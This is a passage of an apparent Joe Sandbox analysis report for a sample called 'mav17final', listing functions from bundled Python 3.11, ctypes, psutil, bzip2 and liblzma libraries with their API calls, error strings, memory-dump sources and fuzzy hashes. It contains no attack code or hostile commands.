Opcode Fuzzy Hash: 1c7a6bb527df66017d67d4d6c8e7051229e04b236d9d6aec440ba77389511a69
Instruction Fuzzy Hash: 88212766A08B8682EB108F69E85027967A0FF89BF6F140635DB6D87390DF7DE504C350

Function 00007FF8B9F6B96C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

PyDict_GetItemWithError.PYTHON311(?,?,00000001,00007FF8B9F677AC), ref: 00007FF8B9F6B9AD
PyErr_Occurred.PYTHON311(?,?,00000001,00007FF8B9F677AC), ref: 00007FF8B9F6B9BC
PyErr_Format.PYTHON311(?,?,00000001,00007FF8B9F677AC), ref: 00007FF8B9F6B9ED

Strings

required argument '%S' missing, xrefs: 00007FF8B9F6B9E6
not enough arguments, xrefs: 00007FF8B9F6B9F5

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Err_$Dict_ErrorFormatItemOccurredWith
String ID: not enough arguments$required argument '%S' missing
API String ID: 62204369-3448764933
Opcode ID: 28da8afa7e9ef03481714140949b522f70dd2a78d8c2b5e7d138b51459312286
Instruction ID: 15e9b5ab0632677eb4fa654150ff42268616c0bdc329b552a6f14c34d143e03b
Opcode Fuzzy Hash: 28da8afa7e9ef03481714140949b522f70dd2a78d8c2b5e7d138b51459312286
Instruction Fuzzy Hash: 5D110771A0EFC281EA958F6AE9841396770AF46FE7F18A531DB4E46758EF2CE441C300

Function 00007FF8B9F6EB34 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON311 ref: 00007FF8B9F6EB75
PyUnicode_AsWideChar.PYTHON311 ref: 00007FF8B9F6EB95
PyErr_Format.PYTHON311 ref: 00007FF8B9F6EBBF
PyUnicode_AsWideChar.PYTHON311 ref: 00007FF8B9F6EBD0

Strings

string too long (%zd, maximum length %zd), xrefs: 00007FF8B9F6EBAF
unicode string expected instead of %s instance, xrefs: 00007FF8B9F6EB67

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: CharErr_FormatUnicode_Wide
String ID: string too long (%zd, maximum length %zd)$unicode string expected instead of %s instance
API String ID: 2195588020-2061977717
Opcode ID: 3df54ba06c241b92dbf221aa78cdec5a2b91a3063c00f8d20a6361d5b8dc2ae5
Instruction ID: 55801199342ebc13c32ba8a0a6b078f3934f3e2c246d570bb32950c5c23c8c37
Opcode Fuzzy Hash: 3df54ba06c241b92dbf221aa78cdec5a2b91a3063c00f8d20a6361d5b8dc2ae5
Instruction Fuzzy Hash: D3115422B08FC681EA808F1AE9841656B62BF89FF5F185631DF1E53BA4DE3CD455C700

Function 00007FF8B9074E80 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 37COMMON

Download Yara Rule

APIs

fprintf.MSPDB140-MSVCRT ref: 00007FF8B9074EC4
fprintf.MSPDB140-MSVCRT ref: 00007FF8B9074EDE
fprintf.MSPDB140-MSVCRT ref: 00007FF8B9074EF8

Strings

psutil/arch/windows/cpu.c, xrefs: 00007FF8B9074EB3
psutil-debug [%s:%d]> , xrefs: 00007FF8B9074EBD
GetActiveProcessorCount() not available; using GetSystemInfo(), xrefs: 00007FF8B9074ED7

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: fprintf
String ID: GetActiveProcessorCount() not available; using GetSystemInfo()$psutil-debug [%s:%d]> $psutil/arch/windows/cpu.c
API String ID: 383729395-586088648
Opcode ID: 0c310fc330f00f858f022fddad38e9cf6f8bfcfbc167ac525e5c94752c09e3f8
Instruction ID: f0fe25ef0f68e0830ec9d893b14bf354c74d303a6bfb3baf72105cfee20fb15c
Opcode Fuzzy Hash: 0c310fc330f00f858f022fddad38e9cf6f8bfcfbc167ac525e5c94752c09e3f8
Instruction Fuzzy Hash: 7011DB24F0968691FE449F6DE8952B53BA1AF647E1F408436C70E073A6DE2CE587C311

Function 00007FF8B90CC748 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 22COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF8B90CC755

Part of subcall function 00007FF8B90CC704: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF8B90CC73A

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF8B90CC781
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B90CC79B

Strings

bzip2/libbzip2: internal error number %d.This is a bug in bzip2/libbzip2, %s.Please report it to: bzip2-devel@sourceware.org. If this happenedwhen you were using some program which uses libbzip2 as acomponent, you should also report this bug to the auth, xrefs: 00007FF8B90CC768
*** A special note about internal error number 1007 ***Experience suggests that a common cause of i.e. 1007is unreliable memory or other hardware. The 1007 assertionjust happens to cross-check the results of huge numbers ofmemory reads/writes, and so ac, xrefs: 00007FF8B90CC78A
1.0.8, 13-Jul-2019, xrefs: 00007FF8B90CC75B

Memory Dump Source

Source File: 00000002.00000002.2072911922.00007FF8B90C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8B90C0000, based on PE: true

Associated: 00000002.00000002.2072881040.00007FF8B90C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2072963464.00007FF8B90CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2072997412.00007FF8B90D1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2073022810.00007FF8B90D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b90c0000_mav17final.jbxd

Similarity

API ID: __acrt_iob_func$__stdio_common_vfprintfexit
String ID: bzip2/libbzip2: internal error number %d.This is a bug in bzip2/libbzip2, %s.Please report it to: bzip2-devel@sourceware.org. If this happenedwhen you were using some program which uses libbzip2 as acomponent, you should also report this bug to the auth$*** A special note about internal error number 1007 ***Experience suggests that a common cause of i.e. 1007is unreliable memory or other hardware. The 1007 assertionjust happens to cross-check the results of huge numbers ofmemory reads/writes, and so ac$1.0.8, 13-Jul-2019
API String ID: 77255540-989448446
Opcode ID: 39f94f7b81e53d96969a5455d7e6e9458db4137e20d4da26f7d9a91deb3b3694
Instruction ID: 8c043494b1ff9618496f83f1ebee6789cde1ba9520ee647c3960bc87c745ee95
Opcode Fuzzy Hash: 39f94f7b81e53d96969a5455d7e6e9458db4137e20d4da26f7d9a91deb3b3694
Instruction Fuzzy Hash: F8E06D24A1859662FE185FADE8953B81375EF547C0F000939CB0E076A1DE2CE95F8352

Function 00007FF8B90C2CF8 Relevance: 9.1, APIs: 6, Instructions: 116threadCOMMON

Download Yara Rule

APIs

PyBytes_FromStringAndSize.PYTHON311 ref: 00007FF8B90C2D37
PyList_New.PYTHON311 ref: 00007FF8B90C2D4E
PyEval_SaveThread.PYTHON311 ref: 00007FF8B90C2DBB
PyEval_RestoreThread.PYTHON311 ref: 00007FF8B90C2DD5
_Py_Dealloc.PYTHON311 ref: 00007FF8B90CB4E5
_Py_Dealloc.PYTHON311 ref: 00007FF8B90CB525

Memory Dump Source

Source File: 00000002.00000002.2072911922.00007FF8B90C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8B90C0000, based on PE: true

Associated: 00000002.00000002.2072881040.00007FF8B90C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2072963464.00007FF8B90CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2072997412.00007FF8B90D1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2073022810.00007FF8B90D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b90c0000_mav17final.jbxd

Similarity

API ID: DeallocEval_Thread$Bytes_FromList_RestoreSaveSizeString
String ID:
API String ID: 722544280-0
Opcode ID: ea514226ac897717a144e055f78113507add513ccc51a98260a4e0d553d29f9f
Instruction ID: da5b4fc874dd0ac4221cbe86cab4ebf7fecddf55f3db00b74af0cc498de95241
Opcode Fuzzy Hash: ea514226ac897717a144e055f78113507add513ccc51a98260a4e0d553d29f9f
Instruction Fuzzy Hash: 31415A32A08B8296EE649F2DA54423963B0BB58BE0F140235DF5D43BD1EF3CE49AC300

Function 00007FF8BA246570 Relevance: 9.1, APIs: 6, Instructions: 84stringCOMMON

Download Yara Rule

APIs

__unDName.LIBVCRUNTIME ref: 00007FF8BA2465C6
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8BA246609
strcpy_s.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8BA246633
InterlockedPushEntrySList.KERNEL32 ref: 00007FF8BA246650
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8BA24665C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8BA246665

Memory Dump Source

Source File: 00000002.00000002.2073581981.00007FF8BA241000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF8BA240000, based on PE: true

Associated: 00000002.00000002.2073546754.00007FF8BA240000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073621002.00007FF8BA251000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073653780.00007FF8BA256000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073688952.00007FF8BA257000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8ba240000_mav17final.jbxd

Similarity

API ID: free$EntryInterlockedListNamePush__unmallocstrcpy_s
String ID:
API String ID: 3741236498-0
Opcode ID: de3a4ec1d6e9946eef6b348e6d8a6ead344041b39e9dfd9c2ce66c677152b10d
Instruction ID: 6f126f34958843b1520b117ca211632991ee96ca62a46273cdf62000a80fe118
Opcode Fuzzy Hash: de3a4ec1d6e9946eef6b348e6d8a6ead344041b39e9dfd9c2ce66c677152b10d
Instruction Fuzzy Hash: 8B31B322B19B9290FF15DF2AA9145696394FF08FD4B5986B5DF2D03784EE3DE442D300

Function 00007FF8B9F6C050 Relevance: 9.1, APIs: 6, Instructions: 79COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8B9F6C174: PyUnicode_AsUTF8.PYTHON311 ref: 00007FF8B9F6C1CA
Part of subcall function 00007FF8B9F6C174: strchr.VCRUNTIME140 ref: 00007FF8B9F6C1DA
Part of subcall function 00007FF8B9F6C174: PyErr_Format.PYTHON311 ref: 00007FF8B9F6C20D

Part of subcall function 00007FF8B9F622B0: _PyObject_MakeTpCall.PYTHON311 ref: 00007FF8B9F62301

Part of subcall function 00007FF8B9F63FD4: PyDict_New.PYTHON311(?,?,00000000,00007FF8B9F63F5E,?,?,00000001,00007FF8B9F66D32), ref: 00007FF8B9F63FF2

_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6C0CF
PyDict_New.PYTHON311 ref: 00007FF8B9F6C0D5
PyLong_FromVoidPtr.PYTHON311 ref: 00007FF8B9F6C10B
PyDict_SetItem.PYTHON311 ref: 00007FF8B9F6C123
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6C134
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6C148

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: DeallocDict_$CallErr_FormatFromItemLong_MakeObject_Unicode_Voidstrchr
String ID:
API String ID: 4054517332-0
Opcode ID: 183dbe4e66a78b5f82bf9fcbdc5b815f8fe5dd19242b5949e3bcf8ed559180f2
Instruction ID: b0c6f64ac8d0e9461baf4af98baf7143259c753ef1a5c68d243ecf28999ee53a
Opcode Fuzzy Hash: 183dbe4e66a78b5f82bf9fcbdc5b815f8fe5dd19242b5949e3bcf8ed559180f2
Instruction Fuzzy Hash: 40310921A0AB8282FE549F2EE95003967A1AF4AFE6F486534DF9E47795DF3CE451C300

Function 00007FF8B9F637B0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 257COMMON

Download Yara Rule

APIs

PyType_IsSubtype.PYTHON311 ref: 00007FF8B9F63874
PyErr_SetString.PYTHON311 ref: 00007FF8B9F686D3
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F686E2

Strings

has no _stginfo_, xrefs: 00007FF8B9F6856F, 00007FF8B9F686C9

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: DeallocErr_StringSubtypeType_
String ID: has no _stginfo_
API String ID: 402260271-2912685656
Opcode ID: 9230919844186ca5f41c7b1a63fcb82edb38cf4c596bbf94e99535158fbb2ad0
Instruction ID: bc1d6ce833dc43fe0e7ac2b68f55a8d83e6a5cf54676973e01d1c967a62a3931
Opcode Fuzzy Hash: 9230919844186ca5f41c7b1a63fcb82edb38cf4c596bbf94e99535158fbb2ad0
Instruction Fuzzy Hash: 16B15972A09BC682EA64CF29E85027977A5FB84BE6F14A439DB4E43754DF7CE850C700

Function 00007FF8BA243AEC Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 189COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8BA2469C0: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF8BA2425CE), ref: 00007FF8BA2469CE

EncodePointer.KERNEL32 ref: 00007FF8BA243B5C
_CallSETranslator.LIBVCRUNTIME ref: 00007FF8BA243BA7
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BA243DD5

Strings

RCC, xrefs: 00007FF8BA243B78
MOC, xrefs: 00007FF8BA243B70

Memory Dump Source

Source File: 00000002.00000002.2073581981.00007FF8BA241000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF8BA240000, based on PE: true

Associated: 00000002.00000002.2073546754.00007FF8BA240000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073621002.00007FF8BA251000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073653780.00007FF8BA256000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073688952.00007FF8BA257000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8ba240000_mav17final.jbxd

Similarity

API ID: abort$CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 2889003569-2084237596
Opcode ID: bc23f9d190e68b0d649da4772cf0aebac2cf99f7a7c8ea39b120ae49b64f19ea
Instruction ID: ade5e5fcb86ee154f5f2958263cfb57ea4a2976895dbb15d6a7ab3f61892fbe2
Opcode Fuzzy Hash: bc23f9d190e68b0d649da4772cf0aebac2cf99f7a7c8ea39b120ae49b64f19ea
Instruction Fuzzy Hash: B5917073A08B928AE711CB69E4402ED7BA1FB44BC8F14416AEF8D17B55DF38D195DB00

Function 00007FF8BA24BF20 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 167COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FF8BA24C1C0

Strings

std::nullptr_t , xrefs: 00007FF8BA24C150
std::nullptr_t, xrefs: 00007FF8BA24C179
volatile, xrefs: 00007FF8BA24BF96, 00007FF8BA24C0C7
volatile , xrefs: 00007FF8BA24BF87, 00007FF8BA24C0B8

Memory Dump Source

Source File: 00000002.00000002.2073581981.00007FF8BA241000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF8BA240000, based on PE: true

Associated: 00000002.00000002.2073546754.00007FF8BA240000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073621002.00007FF8BA251000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073653780.00007FF8BA256000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073688952.00007FF8BA257000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8ba240000_mav17final.jbxd

Similarity

API ID: Name::operator+
String ID: std::nullptr_t$std::nullptr_t $volatile$volatile
API String ID: 2943138195-757766384
Opcode ID: e51d893b916fd38dc1e020bc8963aa6f83aa847b46c3d095f24d6897074767ca
Instruction ID: d48cadacfa7880ebae3d63c0199cf3d2adb9e3253aedef77145171d008f827d7
Opcode Fuzzy Hash: e51d893b916fd38dc1e020bc8963aa6f83aa847b46c3d095f24d6897074767ca
Instruction Fuzzy Hash: 93716676A08A4394EB148F2CD9410BC67A4BF09BC4F4445B5EF4E42BA8DF3DE660E700

Function 00007FF8BA2438D0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8BA2469C0: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF8BA2425CE), ref: 00007FF8BA2469CE

EncodePointer.KERNEL32 ref: 00007FF8BA24391C
_CallSETranslator.LIBVCRUNTIME ref: 00007FF8BA24396B
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BA243AE3

Strings

MOC, xrefs: 00007FF8BA243930
RCC, xrefs: 00007FF8BA243939

Memory Dump Source

Source File: 00000002.00000002.2073581981.00007FF8BA241000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF8BA240000, based on PE: true

Associated: 00000002.00000002.2073546754.00007FF8BA240000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073621002.00007FF8BA251000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073653780.00007FF8BA256000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073688952.00007FF8BA257000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8ba240000_mav17final.jbxd

Similarity

API ID: abort$CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 2889003569-2084237596
Opcode ID: 227e5baf7e5e9155f58c31c3fecc157e2e687fbe3eaaf077a93d355b17988fc2
Instruction ID: 348b0d2826ea75d295b350942f276162fbf624c2ddda49361be8c50bb254f82f
Opcode Fuzzy Hash: 227e5baf7e5e9155f58c31c3fecc157e2e687fbe3eaaf077a93d355b17988fc2
Instruction Fuzzy Hash: E6612732A08B868AE724CF69E5803AD77A0FB44B88F144266EF4D17B99CF78E155D700

Function 00007FF8B90C3A90 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 114COMMON

Download Yara Rule

Strings

combined CRCs: stored = 0x%08x, computed = 0x%08x, xrefs: 00007FF8B90CB8C9
{0x%08x, 0x%08x}, xrefs: 00007FF8B90CB879

Memory Dump Source

Source File: 00000002.00000002.2072911922.00007FF8B90C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8B90C0000, based on PE: true

Associated: 00000002.00000002.2072881040.00007FF8B90C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2072963464.00007FF8B90CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2072997412.00007FF8B90D1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2073022810.00007FF8B90D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b90c0000_mav17final.jbxd

Similarity

API ID:
String ID: combined CRCs: stored = 0x%08x, computed = 0x%08x$ {0x%08x, 0x%08x}
API String ID: 0-2474432645
Opcode ID: 69a7ee2d0339cf96717ad35ba872c5bfcdb46555bf6c34d719e37fdf827b1516
Instruction ID: 3e54cf4388ba3c9e2c64af98e28fb7dc8e9c3611db04f7d8366ed7189b838ecc
Opcode Fuzzy Hash: 69a7ee2d0339cf96717ad35ba872c5bfcdb46555bf6c34d719e37fdf827b1516
Instruction Fuzzy Hash: 2E414A32A1C6C387EF649F2994802B873B1EB44B94F144635EB1E966C5CF28E88FC710

Function 00007FF8B9F624A0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 102COMMON

Download Yara Rule

APIs

PyMem_Malloc.PYTHON311(?,?,?,?,?,?,?,?,?,00000000,00000000,?,00000000,00007FF8B9F63784), ref: 00007FF8B9F624ED
PyMem_Free.PYTHON311(?,?,?,?,?,?,?,?,?,00000000,00000000,?,00000000,00007FF8B9F63784), ref: 00007FF8B9F625DB

Strings

%zd,, xrefs: 00007FF8B9F6255A
%zd), xrefs: 00007FF8B9F62568

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Mem_$FreeMalloc
String ID: %zd)$%zd,
API String ID: 3308143561-2233965340
Opcode ID: 97bbcc1d359357e3c252192984d3b0109526b27b564f2bbea6cf16545a3b7b27
Instruction ID: a6ab5640e86abd259accb64fcaa642bcdc10b67826e497fa7a1fecc294f496e7
Opcode Fuzzy Hash: 97bbcc1d359357e3c252192984d3b0109526b27b564f2bbea6cf16545a3b7b27
Instruction Fuzzy Hash: C741B122A09BC281EF118F19E4502B96BA0FB59BE5F882132DF5D97795DF3DE445C310

Function 00007FF8B9075F88 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 89COMMON

Download Yara Rule

APIs

QueryDosDeviceA.KERNEL32 ref: 00007FF8B907601D
swprintf_s.MSPDB140-MSVCRT ref: 00007FF8B9076094

Strings

%c:, xrefs: 00007FF8B9076083
Z, xrefs: 00007FF8B907604D
:, xrefs: 00007FF8B9075FFC

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: DeviceQueryswprintf_s
String ID: %c:$:$Z
API String ID: 914998285-434247157
Opcode ID: 5affc6d7e9673fba9a69e782a228053b50d5b8f6e27cd9141442bcbbdf8abcd8
Instruction ID: 1db275049f1184acf5816499c6c4a9fe460b4b9b091c175fcb91a9281462ddfe
Opcode Fuzzy Hash: 5affc6d7e9673fba9a69e782a228053b50d5b8f6e27cd9141442bcbbdf8abcd8
Instruction Fuzzy Hash: B531E662A1D6C241EF628F28A8513FA2F60AFE17D4F844036C78E42696DE2CD50AC711

Function 00007FF8B909FE00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

PySequence_Size.PYTHON311(00000000,00007FF8A8D96CC8,00000000,00007FF8B909FDB0), ref: 00007FF8B909FE28
PySequence_GetItem.PYTHON311 ref: 00007FF8B909FE5B

Part of subcall function 00007FF8B909FEE4: PyMapping_Check.PYTHON311(?,?,?,?,?,?,?,00007FF8B909FE77), ref: 00007FF8B909FF09
Part of subcall function 00007FF8B909FEE4: PyMapping_GetItemString.PYTHON311(?,?,?,?,?,?,?,00007FF8B909FE77), ref: 00007FF8B909FF23
Part of subcall function 00007FF8B909FEE4: PyLong_AsUnsignedLongLong.PYTHON311(?,?,?,?,?,?,?,00007FF8B909FE77), ref: 00007FF8B909FF38
Part of subcall function 00007FF8B909FEE4: PyErr_Occurred.PYTHON311(?,?,?,?,?,?,?,00007FF8B909FE77), ref: 00007FF8B909FF4B

PyErr_Format.PYTHON311 ref: 00007FF8B90A5761

Strings

Too many filters - liblzma supports a maximum of %d, xrefs: 00007FF8B90A5751

Memory Dump Source

Source File: 00000002.00000002.2072699078.00007FF8B9091000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8B9090000, based on PE: true

Associated: 00000002.00000002.2072666393.00007FF8B9090000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2072745005.00007FF8B90A8000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2072745005.00007FF8B90AC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2072810626.00007FF8B90B4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2072844987.00007FF8B90B5000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9090000_mav17final.jbxd

Similarity

API ID: Err_ItemLongMapping_Sequence_$CheckFormatLong_OccurredSizeStringUnsigned
String ID: Too many filters - liblzma supports a maximum of %d
API String ID: 1062705235-2617632755
Opcode ID: de739252f705775659eaa313a5e663d0679b8c2fa46ad5978c51ae0de71ab62c
Instruction ID: 570fad99c99339aebb98286e04b93dbbc570498d8cb0fc11c575d2d7e9d13bf1
Opcode Fuzzy Hash: de739252f705775659eaa313a5e663d0679b8c2fa46ad5978c51ae0de71ab62c
Instruction Fuzzy Hash: 5D217461A18AC2C5EE649F6EA94417A6251BF49BF4F240735DF7E067E6DE3CE8834300

Function 00007FF8B9F6A3C8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 63COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON311 ref: 00007FF8B9F6A3F3
PyObject_IsInstance.PYTHON311 ref: 00007FF8B9F6A42E
PyErr_Format.PYTHON311 ref: 00007FF8B9F6A45E

Strings

expected %s instead of %s, xrefs: 00007FF8B9F6A441
Pointer does not support item deletion, xrefs: 00007FF8B9F6A3E9

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

